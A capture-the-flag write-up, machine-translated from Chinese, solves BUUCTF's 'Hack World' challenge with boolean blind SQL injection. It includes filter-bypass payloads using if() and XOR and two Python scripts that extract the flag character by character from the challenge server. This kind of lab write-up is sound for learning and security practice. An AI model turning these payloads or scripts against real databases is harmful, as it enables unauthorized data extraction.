当前位置:网站首页>[ciscn2019 North China Day2 web1]hack world --buuctf
[ciscn2019 North China Day2 web1]hack world --buuctf
2022-06-13 00:28:00 【Golden silk】
Catalog
analysis

The table name and field name prompt are given ,burpsuite Packet capture query point , On fuzz run , Look at the keywords filtered

The length is 482 All the packages have been filtered out , Very little filtering , But what? , When two keywords are entered, it is detected that SQL Inject , So this question is still combined filtering , No single quotation marks or # The combination of , Single quotation marks and ; The combination of , and (select) Not filtered out , This filters out many methods and whitespace , Spaces can be bypassed by parentheses , For details of bypassing ideas, please refer to
【 Technology sharing 】MySQL Inject attack and defense - Safe guest , Security information platform
Law 1
During the test, I found that it can be used if
if(1,1,2)
Blind note with Boolean , First try to disassemble the database name
if(ascii(substr((select(database())),1,1))>32,1,2)
The echo id by 1 The situation of , Explain that you can use , Guess the field directly
if(ascii(substr((select(flag)from(flag)),1,1))>32,1,2)
Explain that you can use , Then use dichotomy to write python Script
#buuctf web Hack World
import requests
url = "http://3bdb8fd8-acb8-4230-96d0-3845226525ba.node4.buuoj.cn:81/index.php"
flag = ""
i = 0
while True:
i = i + 1
letf = 32
right = 127
while letf < right:
mid = (letf+right) // 2
payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
data = {"id":payload}
res = requests.post(url=url, data=data).text
if "Hello" in res:
letf = mid + 1
else:
right = mid
if letf != 32:
flag += chr(letf)
print(flag)
else:
break
Get it after running flag
flag{dda27733-1184-415d-8dba-5e9597491181}Law two
Look at someone else's wp, There is also a way , Exclusive or operation , May refer to
So let's test that out , Inquire about 0 For the time being

Inquire about 1 For the time being

Can construct payload
0^(ascii(substr(database(),1,1))>0)The echo

So write a script
#buuctf web Hack World
from turtle import right
import requests
url = "http://3bdb8fd8-acb8-4230-96d0-3845226525ba.node4.buuoj.cn:81/index.php"
flag = ""
i = 0
while True:
i = i + 1
letf = 32
right = 127
while letf < right:
mid = (letf+right) // 2
payload = f"0^(ascii(substr((select(flag)from(flag)),{i},1))>{mid})"
data = {"id":payload}
res = requests.post(url=url,data=data).text
if "Hello" in res:
letf = mid + 1
else:
right = mid
if letf != 32:
flag += chr(letf)
print(flag)
else:
break边栏推荐
- Converting Chinese numbers to Arabic numbers in Delphi
- PLC peut également faire des jeux - - codesys écrit des jeux de devinettes numériques
- [LeetCode]9. Palindromes thirty-two
- 在 Golang 中构建 CRUD 应用程序
- On the parameters of main function in C language
- Packaging and uplink of btcd transaction process (III)
- March 11, 2022 diary: Mr. Wang's spring, strange template mode
- Is the revised PMP worth testing?
- Tsinghua-Bosch Joint ML Center, THBI Lab:Chengyang Ying | 通过约束条件风险价值实现安全强化学习
- Distributed lock implementation
猜你喜欢
随机推荐
[matlab] basic knowledge
测试平台系列(97) 完善执行case部分
Handling method of wrong heading of VAT special invoice
Installation of IK word breaker
2022 beautician (technician) certificate title and answer
Daily buckle exercise - conclusion
RCC clock configuration of stm32f401
安全事故等级划分为哪几级
2022 constructor - Equipment direction - General Foundation (constructor) operation certificate examination questions and simulation examination
ik分词器的安装
如何快速查询手机号码归属地和运营商
On the usage details and special usage of switch case
【HCIE论述】RR-A
6.824 Lab 3A: Fault-tolerant Key/Value Service
How to quickly query the online status of mobile phones
[LeetCode]21. Merge two ordered linked lists twenty-nine
vs studio_ How to use scanf in 2022
A detailed explanation of synchronized
[LeetCode]26. Removes duplicates from a sorted array thirty-three
2022施工員-設備方向-通用基礎(施工員)操作證考試題及模擬考試




![[MRCTF2020]Ez_bypass --BUUCTF](/img/73/85262c048e177968be67456fa4fe02.png)

![BUUCTF之BabyUpload[GXYCTF2019]](/img/e8/202298b64d8764355fad348b50fee6.png)


![[matlab] 3D curve and 3D surface](/img/50/44fec1cae6e2bbab1d9e000578f281.png)
![[matlab] matrix](/img/15/da3b530fca50080392c89e91998526.png)